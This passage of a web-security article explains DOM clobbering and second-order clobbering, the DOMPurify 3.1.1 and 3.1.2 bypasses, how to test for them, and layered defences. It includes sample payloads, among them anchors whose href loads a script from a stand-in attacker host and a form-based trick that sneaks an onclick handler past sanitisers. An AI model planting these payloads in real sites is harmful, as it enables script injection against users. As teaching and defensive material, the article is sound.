<code>&lt;img onerror=\"...\"><\/code>.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">The attacker may still be able to insert harmless elements such as:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>&lt;a>\n&lt;form>\n&lt;input><\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">with attributes such as:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>id\nname\nhref<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">In some situations, this is enough to influence the behaviour of the page\u2019s JavaScript. This is the principle behind DOM clobbering, which involves using an HTML injection to manipulate the DOM and indirectly alter the behaviour of the JavaScript executed by the application.<\/p>\n\n\n\n<h3 id=\"dom-named-access\" class=\"wp-block-heading\">DOM Named Access<\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">The DOM has several historical mechanisms for named access.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Some HTML elements with an id or name attribute may therefore appear as properties of browser objects.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Take, for example: <code>&lt;a id=\"config\">&lt;\/a>.<\/code><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">In certain contexts, the browser may allow access to this element via <code>window.config<\/code> without a JavaScript variable named config having been explicitly declared.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">This behaviour should therefore not be regarded as a universal means of \u2018creating JavaScript variables using HTML\u2019.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">The phenomenon is more specific. In fact, the browser exposes certain elements through its named property resolution mechanisms. And it is these properties that DOM clobbering seeks to hijack.<\/p>\n\n\n\n<h3 id=\"dom-clobbering-example\" class=\"wp-block-heading\">DOM Clobbering example<\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">Let\u2019s take a look at the following code:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>const config = window.config || {};\n\nconst script = document.createElement('script');\nscript.src = config.url;\n\ndocument.body.appendChild(script);<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">The developer assumes that `<code>window.config<\/code>` is either a genuine configuration object or `<code>undefined<\/code>`. In the latter case, `<code>{}<\/code>` will be used.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">But let us now suppose that an attacker can inject HTML such as: `<code>&lt;a id=\"config\">&lt;\/a><\/code>`.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">window.config may then correspond to a DOM object. And the expression <code>window.config || {}<\/code> no longer returns <code>{}<\/code>. It returns the element controlled by the attacker.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">The next step is to gain control of <code>config.url<\/code>. This is where DOM collections come into play.<\/p>\n\n\n\n<h3 id=\"exploiting-anchor-collections\" class=\"wp-block-heading\">Exploiting Anchor Collections<\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">A common method is to create two anchors with the same ID:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>&lt;a id=\"config\">&lt;\/a>\n&lt;a id=\"config\" name=\"url\" href=\"https:\/\/attacker.example\/payload.js\">&lt;\/a><\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">Depending on the browser and context, `<code>config<\/code>` may now represent a collection of nodes. The `<code>name=\u2018url\u2019<\/code>` attribute then allows access to the second element via the `<code>config.url<\/code>` property, and the element\u2019s `<code>href<\/code>` property provides a value controlled by the attacker.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">The JavaScript gadget `<code>script.src = config.url;<\/code>` can then turn a simple HTML injection into the loading of a JavaScript resource controlled by the attacker.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">This technique of using multiple anchors with the same <code>id<\/code> and an additional <code>name<\/code> is one of the classic methods documented in research on DOM clobbering.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">The result, however, depends on the browser and the exact implementation of the DOM. A DOM clobbering payload must therefore always be tested in the browser actually used by the target.<\/p>\n\n\n\n<h3 id=\"clobbering-form-properties\" class=\"wp-block-heading\">Clobbering form properties<\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">The &lt;form&gt; elements are particularly useful.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">The browser allows you to access certain form controls via their \u2018<code>name<\/code>\u2019 or \u2018<code>id<\/code>\u2019. For example:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>&lt;form id=\"myForm\">\n    &lt;input name=\"username\">\n&lt;\/form><\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">allows access to the field via `<code>myForm.username<\/code>`, amongst other things.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">However, this mechanism may conflict with the form\u2019s actual properties or methods. Take, for example:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>&lt;form id=\"myForm\">\n    &lt;input name=\"submit\">\n&lt;\/form><\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">In certain situations, `<code>myForm.submit<\/code>` no longer refers to the native method used to submit the form. The property has been overridden by the `<code>&lt;input><\/code>` element.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">The same principle applies to properties used by security mechanisms. For example:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>&lt;form onclick=\"alert(1)\">\n    &lt;input id=\"attributes\">\n&lt;\/form><\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">If a sanitiser assumes that `<code>element.attributes<\/code>` is always a `<code>NamedNodeMap<\/code>` object, the `<code>&lt;input id=\"attributes\"><\/code>` element may undermine this assumption.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">The filter may then fail to iterate over the form\u2019s actual attributes and allow the `<code>onclick<\/code>` event to pass through.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">This is an important lesson: a native property of a DOM object should not necessarily be considered reliable when read directly from an instance controlled by an attacker.<\/p>\n\n\n\n<h3 id=\"dom-clobbering-et-csp\" class=\"wp-block-heading\">DOM Clobbering and CSP<\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">A restrictive Content Security Policy can prevent many classic XSS techniques, including the execution of inline JavaScript. However, it does not prevent DOM clobbering itself.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">The HTML elements used to clobber a property do not necessarily contain JavaScript. An attacker may therefore attempt to hijack a gadget that is already present in the scripts authorised by the CSP.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">For example:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>script.src = config.url;<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">If the CSP permits the destination that is ultimately used, or if the gadget enables access to another sink that is compatible with the policy, DOM clobbering may become a step in a chain of bypasses.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">The CSP should therefore be regarded as a defence-in-depth measure, rather than a solution to DOM clobbering.<\/p>\n\n\n\n<h3 id=\"second-order-dom-clobbering\" class=\"wp-block-heading\">Second-order DOM Clobbering<\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">A property may also become clobbered following an initial transformation of the DOM. This is known as second-order DOM clobbering.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Take, for example:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>&lt;form id=\"user \">&lt;\/form>\n&lt;input form=\"user\" name=\"config\"><\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">Initially, the form\u2019s ID is \u2018<code>user<\/code>\u2019 with a trailing space. The attribute `<code>form=\u2018user<\/code>\u2019` therefore does not necessarily refer to this form.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">But let us suppose that subsequent processing normalises the ID:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>form.id = form.id.trim();<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">The identifier becomes \u201c<code>user<\/code>\u201d. The association between the <code>input<\/code> and the form then changes.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">A structure that was not compromised at the time of an initial check may therefore become compromised after its attributes have been modified. This is exactly the sort of problem that has played a part in several recent DOMPurify bypasses.<\/p>\n\n\n\n<h2 id=\"real-world-case-bypassing-dompurify-3-1-1-and-3-1-2\" class=\"wp-block-heading\">Real-World Case: Bypassing DOMPurify 3.1.1 and 3.1.2<\/h2>\n\n\n\n<h3 id=\"dompurify-3-1-1-bypassing-a-depth-check-via-dom-clobbering\" class=\"wp-block-heading\">DOMPurify 3.1.1: Bypassing a depth check via DOM clobbering<\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">In 2024, several research studies highlighted a particularly interesting series of DOMPurify bypasses.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">An initial bypass of DOMPurify 3.1.0 relied in particular on extremely deep DOM structures and node flattening phenomena.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">To mitigate this class of attack, DOMPurify 3.1.1 introduced an internal depth counter.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Put simply, each node was assigned a <code>__depth<\/code> value calculated from that of its parent.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">The logic was intended to remove structures that became abnormally deep. However, a subtlety arose when retrieving the parent.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Logic equivalent to `<code>currentNode.parentNode.__depth<\/code>` assumes that `<code>currentNode.parentNode<\/code>` necessarily corresponds to the native DOM property.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">However, certain properties of a `<code>&lt;form><\/code>` may be overwritten by its children. For example:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>&lt;div id=\"parent\">\n    &lt;form id=\"f\">\n        &lt;input name=\"parentNode\">\n    &lt;\/form>\n&lt;\/div><\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">may cause code that directly manipulates `<code>f.parentNode<\/code>` to observe an unexpected value in vulnerable contexts.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">The depth counter could then be reset or tampered with, allowing the mechanism introduced by DOMPurify to be bypassed.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">This technique enabled a bypass to be constructed for versions up to 3.1.1 in the affected environments.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">The subsequent fix involved no longer trusting the property retrieved directly from the instance, but instead using a more secure mechanism to access the actual DOM parent.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">This is an important general rule for sanitisers: the security properties of a DOM node must be obtained from trusted primitives, and not through instance properties that may be affected by named access.<\/p>\n\n\n\n<h3 id=\"dompurify-3-1-2-second-order-dom-clobbering\" class=\"wp-block-heading\">DOMPurify 3.1.2 : Second-order DOM Clobbering<\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">DOMPurify 3.1.2 strengthened these safeguards. However, a new subtlety remained in the order in which the processing took place.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Put simply, the sanitiser first carried out certain DOM clobbering checks on an element, and then proceeded to sanitise and normalise its attributes.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Let\u2019s take a form with `<code>&lt;form id=\"x \">&lt;\/form><\/code>` and an `<code>&lt;input form=\"x\" name=\"__depth\"><\/code>` element.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">At the time of the initial check, <code>id=\"x \"<\/code> and <code>form=\"x\"<\/code> do not match. The clobbering scenario has therefore not yet arisen.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">However, if the sanitiser subsequently normalises \u2018x \u2019 to \u2018x\u2019, the association with the input element becomes apparent. The DOM has become clobbered after the check that was supposed to detect the clobbering. This is a secondary issue.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Research by K\u00e9vin Mizu has shown how this mechanism could, in particular, be combined with the <code>__depth <\/code>counter and other HTML mutations to construct a bypass for versions up to DOMPurify 3.1.2.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">The lesson extends far beyond DOMPurify. Data or a structure considered safe at a given moment can thus become dangerous following normalisation, rewriting, serialisation, an attribute mutation, a change of parent or a new parsing operation.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">A security check must therefore consider the representation actually used after these transformations, not just its initial state.<\/p>\n\n\n\n<h2 id=\"how-to-look-for-mxss-and-dom-clobbering-during-a-penetration-test\" class=\"wp-block-heading\">How to Look for mXSS and DOM Clobbering During a Penetration Test?<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">These vulnerabilities can rarely be identified simply by sending a few standard XSS payloads.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">It is best to start by reconstructing the complete data flow. The first step is to determine where the input is retrieved from:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>location.search\nlocation.hash\npostMessage\nAPI\nWebSocket\nstored content\nWYSIWYG editor<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">The next step is to identify all the processing steps applied before the data is inserted: parsing, Markdown, templates, placeholder replacement, URL transformation, sanitisation, serialisation, processing by a third-party library, etc.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">The key point is to locate the final sink. For example, `<code>element.innerHTML = value;<\/code>` or `<code>element.insertAdjacentHTML(\u201cbeforeend\u201d, value);<\/code>`.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Once this flow has been reconstructed, the aim is to trace the data from its source to the final HTML sink, identifying each intermediate transformation: parsing, sanitisation, serialisation, processing by a third-party library or application-level rewriting. A step carried out after the sanitiser is particularly important to analyse, as it may alter the structure that had previously been considered safe.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">For mXSS, the DOM must be compared before and after each parsing step, in particular:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>element.namespaceURI\nelement.nodeName\nelement.parentNode\nelement.outerHTML<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">Tools such as DOM Explorer are particularly useful for visualising namespaces and the resulting mutations.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">For DOM clobbering, the focus should instead be on the application\u2019s JavaScript and the gadgets that access potentially controllable properties.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Finally, tests must be carried out in real browsers.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Some DOM clobbering mechanisms are not replicated identically by the DOM implementations used on the Node.js side. The DOMPurify documentation specifically highlights that certain form behaviours required for clobbering attacks are not replicated by <code>jsdom<\/code>, which can give a false sense of security when tests are run exclusively on the server side.<\/p>\n\n\n\n<h2 id=\"how-to-protect-yourself-against-mutation-xss-and-dom-clobbering\" class=\"wp-block-heading\">How to Protect Yourself Against Mutation XSS and DOM Clobbering?<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">There is no single remedy that applies to all these vulnerabilities.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">The strategy must, above all, limit the situations in which untrusted data can be interpreted as HTML and reduce the number of transformations carried out between sanitisation and its final use.<\/p>\n\n\n\n<h3 id=\"do-not-parse-html-when-it-is-not-necessary\" class=\"wp-block-heading\">Do not parse HTML when it is not necessary<\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">The simplest way to protect against this is simply not to use an HTML sink when you only want to display text. Thus, `<code>element.textContent = userInput;<\/code>` is far preferable to `<code>element.innerHTML = userInput;<\/code>` if no HTML formatting is required.<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>`<code>textContent<\/code>` creates text.<\/li>\n\n\n\n<li>`<code>innerHTML<\/code>` triggers a parser.<\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\">This difference alone eliminates a large part of the attack surface.<\/p>\n\n\n\n<h3 id=\"use-a-recognised-sanitiser-when-html-actually-needs-to-be-accepted\" class=\"wp-block-heading\">Use a recognised sanitiser when HTML actually needs to be accepted<\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">Writing your own HTML sanitiser is extremely difficult.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">The HTML parser has a vast number of specific rules and behaviours relating to namespaces, insertion modes and error correction.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">It is therefore preferable to rely on maintained and extensively tested libraries such as DOMPurify on the JavaScript side, Symfony HtmlSanitizer within the PHP ecosystem, or <code>sanitize-html<\/code> in certain Node.js architectures.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">This recommendation does not imply that these libraries cannot be bypassed.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">It means that a specialised library, which is continuously tested against modern attack techniques, provides a far more robust foundation than a filter developed specifically for a single application.<\/p>\n\n\n\n<h3 id=\"always-keep-the-sanitiser-and-its-surroundings-clean\" class=\"wp-block-heading\">Always keep the sanitiser and its surroundings clean<\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">The bypasses described in this article demonstrate that a sanitiser is itself a critical security component.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">It must therefore be treated as a sensitive dependency.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">DOMPurify continues to regularly incorporate safeguards against mXSS, namespaces and DOM clobbering.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">The update must also cover the DOM environment.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">When DOMPurify is run server-side under Node.js, the official documentation explicitly recommends using a recent version of jsdom, as a vulnerability in the underlying DOM parser could compromise the sanitiser\u2019s own security guarantees.<\/p>\n\n\n\n<h3 id=\"sanitiser-as-close-as-possible-to-the-final-sink\" class=\"wp-block-heading\">Sanitise as close as possible to the final sink<\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">Security checks must be applied to the representation that will actually be rendered.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">The key principle is therefore not necessarily \u2018client-side sanitisation\u2019 or \u2018server-side sanitisation\u2019, but rather: sanitising within a context consistent with the final renderer and as late as possible before insertion.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">In a complex application, it may be appropriate to maintain an internal representation of the content and then sanitise it at the time of rendering.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">If server-side sanitisation relies on an emulated DOM, the parser and its version also become trusted components.<\/p>\n\n\n\n<h3 id=\"never-modify-the-html-after-sanitisation\" class=\"wp-block-heading\">Never modify the HTML after sanitisation<\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">This is probably the most important rule regarding mXSS. Let\u2019s take the following example:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>let clean = DOMPurify.sanitize(userInput);\n\nclean = addMentions(clean);\ncontainer.innerHTML = clean;<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">Even if <code>DOMPurify.sanitize()<\/code> has produced safe content, <code>addMentions()<\/code> may accidentally recreate an unsafe structure.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Take, for example, some code that adds tags around a mention:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>&lt;b id=\"user@domain\"&gt;<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">If the transformation naively concatenates untrusted data into this attribute, it may cause the output to deviate from the intended context and create a new, dangerous tag.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">The sanitisation carried out previously no longer protects this new structure.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">The key principle to remember is simple: all functional transformations must be carried out before sanitisation, which should take place as late as possible, just before insertion. Conversely, modifying the HTML again after it has been sanitised may recreate a dangerous structure and nullify the safeguards provided by the sanitiser.<\/p>\n\n\n\n<h3 id=\"minimise-the-number-of-permitted-elements-and-attributes-as-much-as-possible\" class=\"wp-block-heading\">Minimise the number of permitted elements and attributes as much as possible<\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">The richer the permitted HTML, the greater the attack surface. If a feature requires only:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>&lt;strong&gt;\n&lt;em&gt;\n&lt;p&gt;\n&lt;br&gt;\n&lt;a&gt;<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">There is no need to enable MathML, SVG, forms or a large number of attributes.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">With DOMPurify, for example, an application that only requires HTML can use a restricted profile:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>const clean = DOMPurify.sanitize(dirty, {\n    USE_PROFILES: {\n        html: true\n    }\n});<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">By default, DOMPurify allows HTML, SVG and MathML content; restricting the profile to what is actually necessary therefore reduces the scope for manipulating namespace transitions.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">The same principle should be applied to attributes. An editor that only needs:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>href\ntitle\nclass<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">should not arbitrarily accept all available attributes.<\/p>\n\n\n\n<h3 id=\"strengthen-protection-against-dom-clobbering\" class=\"wp-block-heading\">Strengthen protection against DOM Clobbering<\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">DOMPurify includes specific defences against this type of attack. For example, <code>SANITIZE_DOM<\/code> is enabled by default.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">For contexts requiring stricter isolation of named properties, the option:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>DOMPurify.sanitize(dirty, {\n    SANITIZE_NAMED_PROPS: true\n});<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">prefixes the values of `<code>id<\/code>` and `<code>name<\/code>` with `<code>user-content-<\/code>` to minimise conflicts with JavaScript properties.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">However, it remains essential to also secure the application\u2019s JavaScript code. A pattern such as `<code>const settings = window.settings || {};<\/code>` should be avoided when `settings` can be influenced by the DOM.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">It is preferable to store configurations in explicitly defined lexical variables and to validate the expected types before passing a value to a sensitive sink.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">For example, before executing `<code>script.src = config.url;<\/code>`, the code must have much stronger guarantees than simply the existence of `<code>config.url<\/code>`.<\/p>\n\n\n\n<h3 id=\"do-not-rely-on-the-properties-of-a-dom-instance-within-a-security-component\" class=\"wp-block-heading\">Do not rely on the properties of a DOM instance within a security component<\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">This recommendation is primarily aimed at developers of sanitisers or components that handle untrusted DOM.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Code such as:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>node.attributes\nnode.parentNode\nnode.nodeName\nnode.removeChild<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">can become dangerous if its logic assumes that these properties can never be influenced by named access.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Robust implementations use safe references to native getters and methods to prevent a property present directly on the object controlled by the attacker from taking precedence.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">This is notably the type of hardening progressively applied in DOMPurify.<\/p>\n\n\n\n<h3 id=\"use-trusted-types-to-validate-html-sinks\" class=\"wp-block-heading\">Use Trusted Types to validate HTML sinks<\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">Trusted Types provide a particularly useful additional defence against DOM XSS.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">When a Content Security Policy enforces Trusted Types, certain dangerous sinks can no longer directly receive arbitrary JavaScript code.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">For example, you can create a policy that centralises sanitisation:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>const policy = trustedTypes.createPolicy('app-html', {\n    createHTML(input) {\n        return DOMPurify.sanitize(input);\n    }\n});\n\ncontainer.innerHTML = policy.createHTML(userInput);<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">The aim is to make `<code>container.innerHTML = userInput;<\/code>` a prohibited operation by default.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Only <code>TrustedHTML<\/code> objects created by an explicitly authorised policy may be passed to the sink.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">DOMPurify has native support for Trusted Types and can also return a <code>TrustedHTML<\/code> object when configured to do so.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Trusted Types does not replace the sanitiser: the policy responsible for creating the <code>TrustedHTML<\/code> must itself correctly transform the input.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">However, this approach significantly reduces the risk of a developer introducing a new `<code>innerHTML = untrustedData;<\/code>` elsewhere in the application without going through the centralised security mechanism.<\/p>\n\n\n\n<h3 id=\"use-csp-as-a-defence-in-depth\" class=\"wp-block-heading\">Use CSP as a defence in depth<\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">A correctly configured Content Security Policy can limit the impact of many XSS attacks.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">In particular, a policy based on nonces or hashes can block a large proportion of inline JavaScript.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">However, CSP does not prevent HTML injection, DOM mutation, or named access that enables DOM clobbering.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">It should therefore not be used to justify a less stringent sanitiser.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">The correct approach is therefore to combine several complementary layers: use secure DOM APIs, apply context-appropriate sanitisation, strictly limit permitted tags and attributes, write robust JavaScript code, deploy Trusted Types where relevant, and complement the whole with a restrictive CSP.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Each layer limits a different set of exploitation scenarios.<\/p>\n\n\n\n<h2 id=\"conclusion\" class=\"wp-block-heading\">Conclusion<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">Mutation XSS and DOM clobbering are particularly good examples of the complexity of browser-side security.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">In an mXSS attack, the vulnerability does not necessarily stem from a sanitiser failing to recognise a <code>&lt;script><\/code> tag. The problem may arise because the structure inspected by the sanitiser is no longer the same as the one the browser interprets a few moments later.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">A transition between the HTML and MathML namespaces, the removal of a form during a second parse, or simple serialisation may be enough to transform a harmless structure into an XSS attack.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">DOM clobbering exploits a different property: the browser\u2019s historical named access mechanisms allow certain HTML elements to alter the resolution of JavaScript properties.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">A simple HTML injection can then influence an otherwise legitimate script and, where an exploitable gadget exists, be transformed into a redirect, resource loading or XSS.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">In both cases, the key security principle to bear in mind is similar: data must never be considered safe regardless of the context in which it will ultimately be interpreted.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Sanitising HTML is necessary when rich text needs to be accepted, but this is not enough.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">It is also essential to manage successive parsing stages, transformations carried out after sanitisation, the sinks used by the application, authorised namespaces and interactions between the DOM and JavaScript.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">It is this end-to-end analysis \u2013 from the user-controlled source right through to the representation actually interpreted by the browser \u2013 that enables mXSS and DOM clobbering vulnerabilities to be effectively identified and prevented.<\/p>\n\n\n\n<h2 id=\"aioseo-resources-whatwg-html-living-standard-parsing-https-html-spec-whatwg-org-multipage-parsing-html-mdn-domparser-parsefromstring-https-developer-mozilla-org-en-us-docs-web-api-domparser-parsefromstring-mdn-element-innerhtml-https-developer-mozilla-org-en-us-docs-web-api-element-innerhtml-dompurify-official-project-https-github-com-cure53-dompurify-dompurify-attack-classes-bypass-history-https-github-com-cure53-dompurify-wiki-attack-classes-26-bypass-history-portswigger-dom-clobbering-https-portswigger-net-web-security-dom-based-dom-clobbering-portswigger-dom-clobbering-strikes-back-https-portswigger-net-research-dom-clobbering-strikes-back-kevin-mizu-exploring-the-dompurify-library-bypasses-and-fixes-https-mizu-re-post-exploring-the-dompurify-library-bypasses-and-fixes\" class=\"wp-block-heading\">Resources<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\" id=\"aioseo-resources-whatwg-html-living-standard-parsing-https-html-spec-whatwg-org-multipage-parsing-html-mdn-domparser-parsefromstring-https-developer-mozilla-org-en-us-docs-web-api-domparser-parsefromstring-mdn-element-innerhtml-https-developer-mozilla-org-en-us-docs-web-api-element-innerhtml-dompurify-official-project-https-github-com-cure53-dompurify-dompurify-attack-classes-bypass-history-https-github-com-cure53-dompurify-wiki-attack-classes-26-bypass-history-portswigger-dom-clobbering-https-portswigger-net-web-security-dom-based-dom-clobbering-portswigger-dom-clobbering-strikes-back-https-portswigger-net-research-dom-clobbering-strikes-back-kevin-mizu-exploring-the-dompurify-library-bypasses-and-fixes-https-mizu-re-post-exploring-the-dompurify-library-bypasses-and-fixes\"><br>WHATWG \u2013 HTML Living Standard, parsing: https:\/\/html.spec.whatwg.org\/multipage\/parsing.html<br>MDN \u2013 DOMParser.parseFromString(): https:\/\/developer.mozilla.org\/en-US\/docs\/Web\/API\/DOMParser\/parseFromString<br>MDN \u2013 Element.innerHTML: https:\/\/developer.mozilla.org\/en-US\/docs\/Web\/API\/Element\/innerHTML<br>DOMPurify \u2013 official project: https:\/\/github.com\/cure53\/DOMPurify<br>DOMPurify \u2013 Attack Classes &amp; Bypass History: https:\/\/github.com\/cure53\/DOMPurify\/wiki\/Attack-Classes-%26-Bypass-History<br>PortSwigger \u2013 DOM Clobbering: https:\/\/portswigger.net\/web-security\/dom-based\/dom-clobbering<br>PortSwigger \u2013 DOM Clobbering strikes back: https:\/\/portswigger.net\/research\/dom-clobbering-strikes-back<br>K\u00e9vin Mizu \u2013 Exploring the DOMPurify library: bypasses and fixes: https:\/\/mizu.re\/post\/exploring-the-dompurify-library-bypasses-and-fixes<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Allowing users to insert HTML content is a common feature in web applications. WYSIWYG editors, commenting systems, messaging services, CMSs and collaborative tools often need to allow the use of rich text whilst preventing the execution of arbitrary JavaScript code. To secure these features, applications generally rely on HTML sanitisers, which are responsible for removing 